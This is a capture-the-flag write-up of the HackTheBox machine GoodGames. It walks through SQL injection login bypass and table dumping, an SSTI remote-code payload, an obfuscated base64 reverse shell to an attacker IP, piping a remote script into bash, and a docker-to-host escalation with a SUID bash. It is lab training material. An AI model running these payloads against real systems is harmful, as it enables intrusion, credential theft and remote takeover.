Post

HackTheBox Writeup GoodGames

HackTheBox Writeup GoodGames

GoodGames is an Easy linux machine that showcases the importance of sanitising user inputs in web applications to prevent SQL injection attacks, using strong hashing algorithms in database structures to prevent the extraction and cracking of passwords from a compromised database, along with the dangers of password re-use. It also highlights the dangers of using render_template_string in a Python web application where user input is reflected, allowing Server Side Template Injection (SSTI) attacks. Privilege escalation involves docker hosts enumeration and shows how having admin privileges in a container and a low privilege user on the host machine can be dangerous, allowing attackers to escalate privileges to compromise the system.

Recon


1
2
3
4
5
6
7
8
┌──(bravosec㉿fsociety)-[~/htb/GoodGames]
└─$ writehosts htb '10.129.69.208 goodgames.htb internal-administration.goodgames.htb'
+---------+--------+---------------+---------------------------------------+
| PROFILE | STATUS |      IP       |                DOMAIN                 |
+---------+--------+---------------+---------------------------------------+
| htb     | on     | 10.129.69.208 | goodgames.htb                         |
| htb     | on     | 10.129.69.208 | internal-administration.goodgames.htb |
+---------+--------+---------------+---------------------------------------+

Scripts

1
2
3
┌──(bravosec㉿fsociety)-[~/htb]
└─$ webprobe
http://goodgames.htb [200] [GoodGames | Community and Store] [Werkzeug/2.0.2 Python/3.9.2] [Bootstrap,Flask:2.0.2,Python:3.9.2] [cb68a8eb8535cadde6047d5720907f9cbd25e069]

Nmap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# Nmap 7.94 scan initiated Fri Sep 22 09:16:18 2023 as: nmap -sVC -T4 -Pn -vv -oA ./nmap/full_tcp_scan -p 80 goodgames.htb
Nmap scan report for goodgames.htb (10.129.69.208)
Host is up, received user-set (0.064s latency).
Scanned at 2023-09-22 09:16:19 CST for 8s

PORT   STATE SERVICE REASON         VERSION
80/tcp open  http    syn-ack ttl 63 Apache httpd 2.4.48
| http-methods:
|_  Supported Methods: OPTIONS GET HEAD POST
|_http-server-header: Werkzeug/2.0.2 Python/3.9.2
|_http-favicon: Unknown favicon MD5: 61352127DC66484D3736CACCF50E7BEB
|_http-title: GoodGames | Community and Store

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

# Nmap done at Fri Sep 22 09:16:27 2023 -- 1 IP address (1 host up) scanned in 8.66 seconds

80 - Site : GoodGames | Community and Store

Info

Directory

1
feroxbuster -k -t 150 -u 'http://goodgames.htb' -w /usr/share/seclists/Discovery/Web-Content/big.txt -o ferox_80.txt
1
2
3
4
5
6
7
8
┌──(bravosec㉿fsociety)-[~/htb]
└─$ cat ferox_80.txt|awk '$5!="9265c"'|grep -vE 'goodgames.htb/static/'
200      GET      909l     2572w    44212c http://goodgames.htb/blog
200      GET      730l     2069w    32744c http://goodgames.htb/forgot-password
302      GET        4l       24w      208c http://goodgames.htb/logout => http://goodgames.htb/
200      GET      728l     2070w    33387c http://goodgames.htb/signup
200      GET     1735l     5548w    85107c http://goodgames.htb/
403      GET        9l       28w      278c http://goodgames.htb/server-status

User Flag


SQLI - Login Bypass

Capture the login request via burp suite and send to intruder

I chose /usr/share/seclists/Fuzzing/Databases/sqli.auth.bypass.txt as fuzzing list

Found login bypasses

Set the cookies to the login succussed one

After refreshing the page, I have access to admin’s account

After clicking at the settings button on top right, it redirected me to http://internal-administration.goodgames.htb/; add that to hosts

It requires username and password, I’ll dump admin’s password and try password reuse

SQLI (Mysql) - Dump User Table

Get columns count

1
' union select 1,2,3,4 #

Get database and user info

@@version, database(), user()

@@version worked, assume it’s mysql

1
' union select 1,2,3,@@version #

User is main_admin

1
' union select 1,2,3,user() #

Current database is main

1
' union select 1,2,3,database() #

Get tables from current database

1
' union select 1,2,3, group_concat(table_name) FROM information_schema.tables where table_schema = "main"#

Get Columns from user table

1
' union select 1,2,3, group_concat(column_name) FROM information_schema.columns WHERE table_schema = 'main' and table_name = 'user'#

Dump data from user table

1
' union select 1,2,3, group_concat(name,":",password) FROM main.user#

admin:2b22337f218b2d82dfc3b6f77e7cb8ec

Recover the md5 hash of admin

It have 32 characters, assume it’s md5

1
2
3
┌──(bravosec㉿fsociety)-[~/htb/GoodGames]
└─$ echo -n '2b22337f218b2d82dfc3b6f77e7cb8ec'|wc -c
32

https://md5.gromweb.com

admin:superadministrator

SSTI at internal-administration.goodgames.htb

Discover

Login to http://nternal-administration.goodgames.htb

Foothold Note that this is a python application, and it might be using Jinja/Flask to render templates

Check some places where user input can be renderedContents

Confirmed SSTI at username field at user profile settings

Use some payloads from payloadallthethings to check if RCE is possible

1
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}

Shell as root in docker container

Generate reverse shell payload

1
2
3
┌──(bravosec㉿fsociety)-[~/htb/GoodGames]
└─$ echo "echo $(echo 'bash -i >& /dev/tcp/10.10.16.10/1111 0>&1' | base64 | base64)|ba''se''6''4 -''d|ba''se''64 -''d|b''a''s''h" | sed 's/ /${IFS}/g'
echo${IFS}WW1GemFDQXRhU0ErSmlBdlpHVjJMM1JqY0M4eE1DNHhNQzR4Tmk0eE1DOHhNVEV4SURBK0pqRUsK|ba''se''6''4${IFS}-''d|ba''se''64${IFS}-''d|b''a''s''h

Send Payload

1
{{ self.__init__.__globals__.__builtins__.__import__('os').popen("echo${IFS}WW1GemFDQXRhU0ErSmlBdlpHVjJMM1JqY0M4eE1DNHhNQzR4Tmk0eE1DOHhNVEV4SURBK0pqRUsK|ba''se''6''4${IFS}-''d|ba''se''64${IFS}-''d|b''a''s''h").read() }}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
┌──(bravosec㉿fsociety)-[~/htb/GoodGames]
└─$ nc -lvnp 1111
listening on [any] 1111 ...
connect to [10.10.16.10] from (UNKNOWN) [10.129.69.232] 38444
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@3a453ab39d3d:/backend# ^Z
zsh: suspended  nc -lvnp 1111

┌──(bravosec㉿fsociety)-[~/htb/GoodGames]
└─$ stty raw -echo;fg
[1]  + continued  nc -lvnp 1111

root@3a453ab39d3d:/backend# export TERM=xterm
root@3a453ab39d3d:/backend# id
id
uid=0(root) gid=0(root) groups=0(root)
1
2
3
4
5
6
7
8
9
root@3a453ab39d3d:/backend# cat /root/root.txt
cat: /root/root.txt: No such file or directory
root@3a453ab39d3d:/backend# ls -la /home
total 12
drwxr-xr-x 1 root root 4096 Nov  5  2021 .
drwxr-xr-x 1 root root 4096 Sep 22 07:26 ..
drwxr-xr-x 2 1000 1000 4096 Nov  3  2021 augustus
root@3a453ab39d3d:/backend# cat /home/augustus/user.txt
df0fc7b00a87b73fa4960385908e14cf

Since the hostname looks like container-generated, check if current environment is in docker

1
2
root@3a453ab39d3d:/backend# ls -latr /|grep .docker
-rwxr-xr-x   1 root root    0 Nov  5  2021 .dockerenv

Good news is we are root already, docker escape will be relatively easy

Root Flag


Docker Escape via ssh to host

Run some auto recon scripts first

1
root@3a453ab39d3d:/backend# curl 10.10.16.10/deepce.sh|bash

Scan ports opened on host machine

Cheatsheet - https://github.com/0xsyr0/OSCP#port-scanning

1
2
3
root@3a453ab39d3d:/backend# export ip=172.19.0.1; for port in $(seq 1 65535); do timeout 0.01 bash -c "</dev/tcp/$ip/$port && echo The port $port is open || echo The Port $port is closed > /dev/null" 2>/dev/null || echo Connection Timeout > /dev/null; done
The port 22 is open
The port 80 is open

It’s weird that user augustus have a home directory, but can’t login with a shell

1
2
root@3a453ab39d3d:/backend# cat /etc/passwd|grep sh$
root:x:0:0:root:/root:/bin/bash

Try password reuse for ssh to host machine with augustus:superadministrator

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
root@3a453ab39d3d:/backend# ssh 172.19.0.1
root@172.19.0.1's password:

root@3a453ab39d3d:/backend# ssh augustus@172.19.0.1
augustus@172.19.0.1's password:
Linux GoodGames 4.19.0-18-amd64 #1 SMP Debian 4.19.208-1 (2021-09-29) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
augustus@GoodGames:~$ id
uid=1000(augustus) gid=1000(augustus) groups=1000(augustus)

Docker Privesc via mounted folder

Check the arguments docker is using

1
2
3
4
augustus@GoodGames:~$ ps auxf|grep docker
root       686  0.0  2.0 1457424 83596 ?       Ssl  07:41   0:01 /usr/bin/dockerd -H fd:// --containerd=/run/containerd/containerd.sock
root      1097  0.0  0.2 1222636 9624 ?        Sl   07:41   0:00  \_ /usr/bin/docker-proxy -proto tcp -host-ip 127.0.0.1 -host-port 8085 -container-ip 172.19.0.2 -container-port 8085
augustus  6855  0.0  0.0   6116   648 pts/0    S+   08:56   0:00              \_ grep docker

Home directory looks the same as in docker container

1
2
3
4
5
6
7
8
9
augustus@GoodGames:~$ ls -la
total 24
drwxr-xr-x 2 augustus augustus 4096 Nov  3  2021 .
drwxr-xr-x 3 root     root     4096 Oct 19  2021 ..
lrwxrwxrwx 1 root     root        9 Nov  3  2021 .bash_history -> /dev/null
-rw-r--r-- 1 augustus augustus  220 Oct 19  2021 .bash_logout
-rw-r--r-- 1 augustus augustus 3526 Oct 19  2021 .bashrc
-rw-r--r-- 1 augustus augustus  807 Oct 19  2021 .profile
-rw-r----- 1 root     augustus   33 Sep 22 07:42 user.txt

Check by creating a file

1
augustus@GoodGames:~$ touch x

In container:

1
2
root@3a453ab39d3d:/home/augustus# ls
user.txt  x

The file did appeared, indicates that it’s a mounted share folder between host and container

Now I can copy bash to the shared folder then give it SUID as root from the docker container

1
augustus@GoodGames:~$ cp /bin/bash .
1
2
root@3a453ab39d3d:/home/augustus# chown root:root ./bash
root@3a453ab39d3d:/home/augustus# chmod +s ./bash

Back to host machine

1
2
3
4
5
augustus@GoodGames:~$ ./bash -p
bash-5.0# id
uid=1000(augustus) gid=1000(augustus) euid=0(root) egid=0(root) groups=0(root),1000(augustus)
bash-5.0# cat /root/root.txt
01aa6d576109f59feb575cc2b9a5d574

Additional


Dump Admin Password via Sqlmap

If specified batch mode, it won’t be able to find union based payloads, which will slow down dumping speed a lot

1
sqlmap -r login.req --batch
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST parameter 'email' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 650 HTTP(s) requests:
---
Parameter: email (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)
    Payload: email=a' AND 7176=(SELECT (CASE WHEN (7176=7176) THEN 7176 ELSE (SELECT 7374 UNION SELECT 3570) END))-- Nbgo&password=a

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: email=a' AND (SELECT 5947 FROM (SELECT(SLEEP(5)))IhVs)-- BPad&password=a
---
[09:50:53] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.12
[09:50:53] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/goodgames.htb'

1
sqlmap -r login.req --batch -D main -T user --dump
1
2
3
4
5
6
7
8
Database: main
Table: user
[254 entries]
+-----+-------------------------+--------+--------------------------------------+
| id  | email                   | name   | password                             |
+-----+-------------------------+--------+--------------------------------------+
| 1   | admin@goodgames.htb     | admin  | 2b22337f218b2d82dfc3b6f77e7cb8ec     |
+-----+-------------------------+--------+--------------------------------------+
This post is licensed under CC BY 4.0 by the author.